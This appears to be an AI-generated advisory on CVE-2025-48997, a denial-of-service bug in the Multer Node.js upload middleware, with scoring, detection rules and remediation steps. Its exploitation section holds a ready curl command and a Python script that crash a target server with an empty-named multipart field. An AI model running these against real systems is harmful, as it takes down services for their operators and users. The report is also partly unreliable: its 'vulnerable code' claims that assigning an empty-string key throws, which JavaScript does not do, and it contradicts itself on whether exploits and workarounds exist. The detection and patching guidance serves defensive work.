CVE-2025-48997

Executive Summary

CVE-2025-48997 is a Denial of Service (DoS) vulnerability in the Multer middleware for Node.js, specifically affecting versions from 1.4.4-lts.1 up to (but not including) 2.0.1. The vulnerability allows an unauthenticated attacker to crash the Node.js process by sending a multipart/form-data upload request with an empty string field name. This triggers an unhandled exception, leading to process termination and service unavailability. The vulnerability has a CVSS score of 7.5 (High) due to its low attack complexity and network-based attack vector. No public exploit code or proof-of-concept is currently available, but the attack is trivial to execute. The patch is available in version 2.0.1, and no workarounds exist.

Supply Chain & Package Security

This vulnerability affects the Multer npm package, a widely used middleware for handling multipart/form-data in Node.js applications, particularly with Express. The attack vector is simple and requires no authentication, making it a significant supply chain risk for any application using the affected versions. Organizations should immediately audit their dependencies for Multer versions below 2.0.1 and update to the patched version. The vulnerability is introduced in version 1.4.4-lts.1, which is a long-term support release, increasing the likelihood of widespread impact.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of service availability.

Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and results in a complete denial of service. The lack of workarounds and the widespread use of Multer in Node.js applications elevate the risk.

Deep Dive & Mechanics

The vulnerability resides in how Multer processes multipart/form-data requests. When a request is received with a field that has an empty string as its name (e.g., Content-Disposition: form-data; name=""), the internal parsing logic fails to handle this edge case. Specifically, the code attempts to use the empty string as a key in an object or array, leading to an unhandled exception (likely a TypeError or similar). This exception is not caught by the middleware, causing the Node.js process to crash.

The root cause is a missing validation check for empty field names in the multipart parser. The fix in version 2.0.1 adds a guard clause that either rejects the request with a proper error or skips the empty field, preventing the crash.

Vulnerable vs. Patched Code

Vulnerable Code (simplified example from Multer < 2.0.1):

// In the multipart parser, when processing a field:
function onField(buffer, start, end) {
  var name = buffer.toString('utf8', start, end);
  // No check for empty name
  fields[name] = value; // This line throws if name is empty string
}

Patched Code (Multer 2.0.1):

function onField(buffer, start, end) {
  var name = buffer.toString('utf8', start, end);
  if (name === '') {
    // Skip or reject the field
    return;
  }
  fields[name] = value;
}

The patch adds a simple check for an empty string name and either ignores the field or returns an error, preventing the unhandled exception.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target Node.js application using Multer version >= 1.4.4-lts.1 and < 2.0.1.
• Network access to the application's endpoint that accepts multipart/form-data uploads.

Exploitation Steps:

1. Identify an endpoint that uses Multer middleware (e.g., /upload).
2. Craft a multipart/form-data request with an empty field name. This can be done using curl or a custom script.

Example curl command:

curl -X POST http://target.com/upload \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \
  --data-binary $'------WebKitFormBoundary\r\nContent-Disposition: form-data; name=""\r\n\r\nsomevalue\r\n------WebKitFormBoundary--\r\n'

Expected Outcome: The Node.js process crashes, resulting in a 502 Bad Gateway or connection reset for subsequent requests.

Automation Script (Python):

import requests

url = "http://target.com/upload"
headers = {"Content-Type": "multipart/form-data; boundary=boundary123"}
body = "--boundary123\r\nContent-Disposition: form-data; name=\"\"\r\n\r\nvalue\r\n--boundary123--\r\n"

try:
    response = requests.post(url, data=body, headers=headers, timeout=5)
    print(f"Response: {response.status_code}")
except requests.exceptions.ConnectionError:
    print("Target crashed - DoS successful")

Blue Team (Detection & Response)

Detection:

• Monitor application logs for unhandled exceptions related to Multer or multipart parsing.
• Look for HTTP requests with unusual Content-Disposition headers containing empty name attributes.
• Use the detection rules provided in the Detection Engineering section.

Response:

1. Immediately isolate the affected server if a crash is detected.
2. Review logs to confirm the attack vector.
3. Apply the patch by upgrading Multer to version 2.0.1.
4. Implement a Web Application Firewall (WAF) rule to block requests with empty field names in multipart data.
5. Restart the service after patching.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests with Content-Type: multipart/form-data and a boundary.
  • Request body containing Content-Disposition: form-data; name="" (empty name).
  • Repeated connection resets or 502 errors from the server.

• Log IOCs:

  • Node.js error logs containing TypeError: Cannot set property '' of undefined or similar unhandled exceptions.
  • Application logs showing a crash with stack trace pointing to Multer's lib/make-middleware.js or lib/disk.js.

• File IOCs:

  • No file-based IOCs, as the attack is purely network-based.

Detection Engineering

YARA Rule

rule CVE_2025_48997_Multer_DoS {
    meta:
        description = "Detects HTTP requests exploiting CVE-2025-48997 in Multer"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48997"
    strings:
        $empty_name = "Content-Disposition: form-data; name=\"\""
        $multipart = "multipart/form-data"
    condition:
        $multipart and $empty_name
}

Sigma Rule

title: CVE-2025-48997 Multer DoS Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with empty field names in multipart/form-data, indicating exploitation of CVE-2025-48997.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-content-type: 'multipart/form-data*'
        cs-body|contains: 'Content-Disposition: form-data; name=""'
    condition: selection
falsepositives:
    - Legitimate applications sending empty field names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-48997 Multer DoS Exploitation Attempt"; flow:to_server; content:"multipart/form-data"; http_header; content:"Content-Disposition: form-data; name=\"\""; http_client_body; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Remediation:

• Upgrade Multer to version 2.0.1 or later. This is the only official fix.
• Run npm install multer@2.0.1 in your project directory.

Mitigation (if patching is not immediately possible):

• Implement a reverse proxy or WAF to inspect and block multipart requests with empty field names.
• Add input validation middleware before Multer to reject requests with empty field names.
• Monitor application health and implement auto-restart mechanisms (e.g., using PM2 or Kubernetes liveness probes) to minimize downtime.

Long-term Recommendations:

• Regularly audit npm dependencies for vulnerabilities using tools like npm audit or Snyk.
• Implement a robust error handling strategy in Node.js applications to catch unhandled exceptions.
• Use a process manager that automatically restarts crashed processes.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.